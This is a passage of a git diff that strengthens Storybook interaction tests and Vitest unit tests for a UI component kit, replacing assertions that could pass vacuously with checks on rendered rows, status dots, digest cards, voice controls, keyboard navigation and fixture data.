a/packages/ui-kit/stories/rows/ListRow.stories.tsx +++ b/packages/ui-kit/stories/rows/ListRow.stories.tsx @@ -156,6 +156,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined, selected: true }, play: async ({ canvas, canvasElement }) => { + // The row is there, displaying its value; only the pressable part is gone. + await expect(await canvas.findByText("First light tomorrow")).toBeVisible(); + await expect(await canvas.findByText("05:30")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); diff --git a/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx b/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx index c22ace8ed6..5c1c335dd9 100644 --- a/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx +++ b/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx @@ -129,6 +129,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The row is there, reading as a queue item; only the pressable part is gone. + await expect(await canvas.findByText("edit · voyage/_index.md")).toBeVisible(); + await expect(await canvas.findByText("blocked")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); diff --git a/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx b/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx index e1217c6bdd..b383114479 100644 --- a/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx +++ b/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx @@ -104,7 +104,12 @@ export const NeverColourAlone = meta.story({ // mark with no text anywhere near it. A StatusDot is the one component that // IS pure colour, which is why it never appears alone in this kit — it is a // mark beside a word, and the rows above are where that is proven. - await expect(canvasElement.querySelector(".bk-colour-only")).toBeNull(); + // Measured on the dots themselves: every round mark in the render shares + // its container with words. (No class marks a colour-only element, so + // asserting one absent would hold whatever the components drew.) + const dots = [...canvasElement.querySelectorAll('span[style*="border-radius: 50%"]')]; + await expect(dots.length).toBeGreaterThanOrEqual(QUEUE_STATES.length); + for (const dot of dots) await expect(dot.parentElement!.textContent!.trim()).not.toBe(""); }, }); diff --git a/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx b/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx index b2740afa99..912580f387 100644 --- a/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx +++ b/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx @@ -145,7 +145,11 @@ export const NothingEscapesTheFrame = ChatAnswer.extend({ * stopped being the thing the design is arguing for. */ export const NoProseParagraphAnywhere = ChatAnswer.extend({ - play: async ({ canvas }) => { + play: async ({ canvas, canvasElement }) => { + // The body is the seven blocks the catalog names and nothing else: the + // question, the trace, the tiles, the quotation, the steps, the map and + // the chips. A summary paragraph is an eighth block, whatever it renders as. + await expect(canvasElement.querySelector(".bk-screen-body")!.children).toHaveLength(7); // The quotation cites a document and a line. await expect(await canvas.findByText(forecastQuote.source)).toBeTruthy(); await expect(await canvas.findByText(forecastQuote.locator)).toBeTruthy(); diff --git a/packages/ui-kit/stories/screens/MorningDigest.stories.tsx b/packages/ui-kit/stories/screens/MorningDigest.stories.tsx index 492fb71017..233a4f551e 100644 --- a/packages/ui-kit/stories/screens/MorningDigest.stories.tsx +++ b/packages/ui-kit/stories/screens/MorningDigest.stories.tsx @@ -1,5 +1,5 @@ import preview from "#.storybook/preview"; -import { expect, fn } from "storybook/test"; +import { expect, fn, within } from "storybook/test"; import { actions } from "../../fixtures/actions.js"; import { digestFootnote, digestStats, overnight, overnightSpend, today } from "../../fixtures/events.js"; @@ -98,7 +98,7 @@ export const NothingEscapesTheFrame = MorningDigest.extend({ * component's own stories, and still be the wrong screen. */ export const FactsBeforeAnythingAsks = MorningDigest.extend({ - play: async ({ canvas, canvasElement }) => { + play: async ({ canvas }) => { await expect(await canvas.findAllByText("Today")).toHaveLength(1); await expect(await canvas.findAllByText(today[0]!.meta!)).toHaveLength(1); for (const item of today[0]!.items) await expect(await canvas.findByText(item.title)).toBeVisible(); @@ -118,7 +118,14 @@ export const FactsBeforeAnythingAsks = MorningDigest.extend({ // The only card on the screen is the kind that asks for nothing: no button, // no approve/deny pair, one chevron to somewhere else. - await expect(canvasElement.querySelectorAll('[role="button"]').length).toBeGreaterThan(0); + // The card is the FYI kind, and no card on the screen is a kind that asks. + // (A control nested inside the card is refused by the axe gate already.) + const card = (await canvas.findByText(fyi.title)).closest('[role="button"]') as HTMLElement | null; + await expect(card).not.toBeNull(); + await expect(within(card!).getByText("FYI")).toBeVisible(); + for (const kind of ["Approval", "Choose", "Dead letter", "Quarantined", "Premise unverified", "Suggestion"]) { + await expect(canvas.queryByText(kind)).toBeNull(); + } await expect(await canvas.findByText(fyi.rightMeta!)).toBeTruthy(); }, }); diff --git a/packages/ui-kit/stories/voice/Live.stories.tsx b/packages/ui-kit/stories/voice/Live.stories.tsx index bd82dfbb18..3c37ade989 100644 --- a/packages/ui-kit/stories/voice/Live.stories.tsx +++ b/packages/ui-kit/stories/voice/Live.stories.tsx @@ -28,9 +28,11 @@ const TALL: LiveId[] = ["L1", "L1d", "L1u", "L1o", "L2", "L3", "L4", "L4d", "L5" /** Interrupt is live only while brain is speaking (L4, with or without a draft). */ async function interruptOnlyWhileSpeaking(canvas: ReturnType, id: LiveId) { const interrupt = canvas.queryByRole("button", { name: "Interrupt" }); - if (!interrupt) return; - if (id === "L4" || id === "L4d") await expect(interrupt, "Interrupt only while speaking").toBeEnabled(); - else await expect(interrupt, "Interrupt only while speaking").toBeDisabled(); + if (id === "L4" || id === "L4d") { + // While speaking the control must be there: a missing one is not "live". + await expect(interrupt, "Interrupt is drawn while speaking").not.toBeNull(); + await expect(interrupt, "Interrupt only while speaking").toBeEnabled(); + } else if (interrupt) await expect(interrupt, "Interrupt only while speaking").toBeDisabled(); } /** The controls row's accessible names, left to right. */ diff --git a/packages/ui-kit/stories/voice/Start.stories.tsx b/packages/ui-kit/stories/voice/Start.stories.tsx index 651f0b2e0d..5aeba7b7ae 100644 --- a/packages/ui-kit/stories/voice/Start.stories.tsx +++ b/packages/ui-kit/stories/voice/Start.stories.tsx @@ -135,6 +135,14 @@ export const PersonaKeyboard = meta.story({ const steward = canvas.getByRole("radio", { name: /Ithaca steward/ }); await expect(steward).toHaveAttribute("tabindex", "0"); await expect(canvas.getByRole("radio", { name: /Standard/ })).toHaveAttribute("tabindex", "-1"); + // The arrow keys move through the group and wrap at either end. + steward.focus(); + await userEvent.keyboard("{ArrowDown}"); + await expect(canvas.getByRole("radio", { name: /Harbour storyteller/ }), "ArrowDown moves to the next persona").toHaveFocus(); + await userEvent.keyboard("{ArrowDown}"); + await expect(canvas.getByRole("radio", { name: /Standard/ }), "ArrowDown wraps to the first").toHaveFocus(); + await userEvent.keyboard("{ArrowUp}"); + await expect(canvas.getByRole("radio", { name: /Harbour storyteller/ }), "ArrowUp wraps to the last").toHaveFocus(); }, }); diff --git a/packages/ui-kit/tests/fixtures.test.ts b/packages/ui-kit/tests/fixtures.test.ts index 879aefe63a..5619f024ef 100644 --- a/packages/ui-kit/tests/fixtures.test.ts +++ b/packages/ui-kit/tests/fixtures.test.ts @@ -260,9 +260,9 @@ describe("cross-references", () => { projects.goal.path, ]); const doc = notes.viewerDocument; - expect(known.has(doc.note.path)).toBe(true); + expect([...known]).toContain(doc.note.path); for (const para of doc.paragraphs) { - if (para.link) expect(known.has(para.link)).toBe(true); + if (para.link) expect([...known]).toContain(para.link); } for (const q of doc.questions) expect(q.state).toBe("todo"); @@ -285,7 +285,7 @@ describe("cross-references", () => { test("every note tag is in the world's tag vocabulary", () => { expect(notes.notes.flatMap(note => note.tags).length).toBeGreaterThan(0); const vocabulary = new Set(notes.tags); - for (const n of notes.notes) for (const t of n.tags) expect(vocabulary.has(t)).toBe(true); + for (const n of notes.notes) for (const t of n.tags) expect([...vocabulary]).toContain(t); }); }); @@ -404,12 +404,14 @@ describe("reserved identifiers only", () => { (await fixtureSources()).map(([, text]) => text).join("\n"); test("every phone number is in the 555-01xx block", () => { + expect(people.people.filter((p) => p.phone !== null).length, "some person has a phone").toBeGreaterThan(0); for (const p of people.people) { if (p.phone !== null) expect(p.phone).toMatch(/^555-01\d\d$/); } }); test("every email is on example.com", () => { + expect(people.people.filter((p) => p.email !== null).length, "some person has an email").toBeGreaterThan(0); for (const p of people.people) { if (p.email !== null) expect(p.email).toMatch(/@example\.com$/); } @@ -466,9 +468,13 @@ describe("DataTable column widths are pixels, not percentages", () => { test(`${name}: widths do not sum to 100 with every column pinned`, () => { const pinned = columns.filter((c) => c.w !== undefined); - if (pinned.length !== columns.length) return; const total = pinned.reduce((a, c) => a + (c.w ?? 0), 0); - expect(total, `${name} widths sum to 100 — these look like percentages`).not.toBe(100); + // A partly pinned table cannot be the percentage mistake, so only a fully + // pinned one may not sum to 100; the assertion runs either way. + expect( + { everyColumnPinned: pinned.length === columns.length, total }, + `${name} widths sum to 100 — these look like percentages`, + ).not.toEqual({ everyColumnPinned: true, total: 100 }); }); } }); diff --git a/packages/ui-kit/tests/hygiene-card-copy.test.tsx b/packages/ui-kit/tests/hygiene-card-copy.test.tsx index 62010e5998..c89862065a 100644 --- a/packages/ui-kit/tests/hygiene-card-copy.test.tsx +++ b/packages/ui-kit/tests/hygiene-card-copy.test.tsx @@ -36,6 +36,8 @@ test("caller copy replaces only the states it names, as inert text", () => { test("the busy label is caller copy too, with the file default kept", () => { expect(renderToStaticMarkup(), "HYGIENE_CARD_FILE_DEFAULT_BUSY").toContain("Applying… checking the file first"); - const html = renderToStaticMarkup(); - expect(html, "HYGIENE_CARD_CALLER_BUSY").not.toContain("checking the file first"); + // Distinct state text and busy label, so the label can only come from busyLabel. + const html = renderToStaticMarkup(); + expect(html, "HYGIENE_CARD_CALLER_BUSY").toContain("Removing… checking the worktree first"); + expect(html).not.toContain("checking the file first"); }); diff --git a/packages/ui-kit/tests/print-theme.test.ts b/packages/ui-kit/tests/print-theme.test.ts index ceef12e23d..0bcf093182 100644 --- a/packages/ui-kit/tests/print-theme.test.ts +++ b/packages/ui-kit/tests/print-theme.test.ts @@ -85,7 +85,8 @@ describe("print theme", () => { test("printThemeCss sets every token on :root, in light colour-scheme", () => { const css = printThemeCss(); - expect(css.startsWith(":root{color-scheme:light;")).toBe(true); + const opening = ":root{color-scheme:light;"; + expect(css.slice(0, opening.length)).toBe(opening); for (const [name, value] of Object.entries(PRINT_TOKENS)) expect(css).toContain(`--bk-${name}:${value};`); }); }); diff --git a/packages/ui-kit/tests/transcript-qualifiers.test.tsx b/packages/ui-kit/tests/transcript-qualifiers.test.tsx index fbd182a0c4..0cd0f5192d 100644 --- a/packages/ui-kit/tests/transcript-qualifiers.test.tsx +++ b/packages/ui-kit/tests/transcript-qualifiers.test.tsx @@ -9,6 +9,9 @@ test("server rendering keeps unknown evidence honest without browser APIs or exp expect(html).not.toContain('aria-live'); expect(html.match(/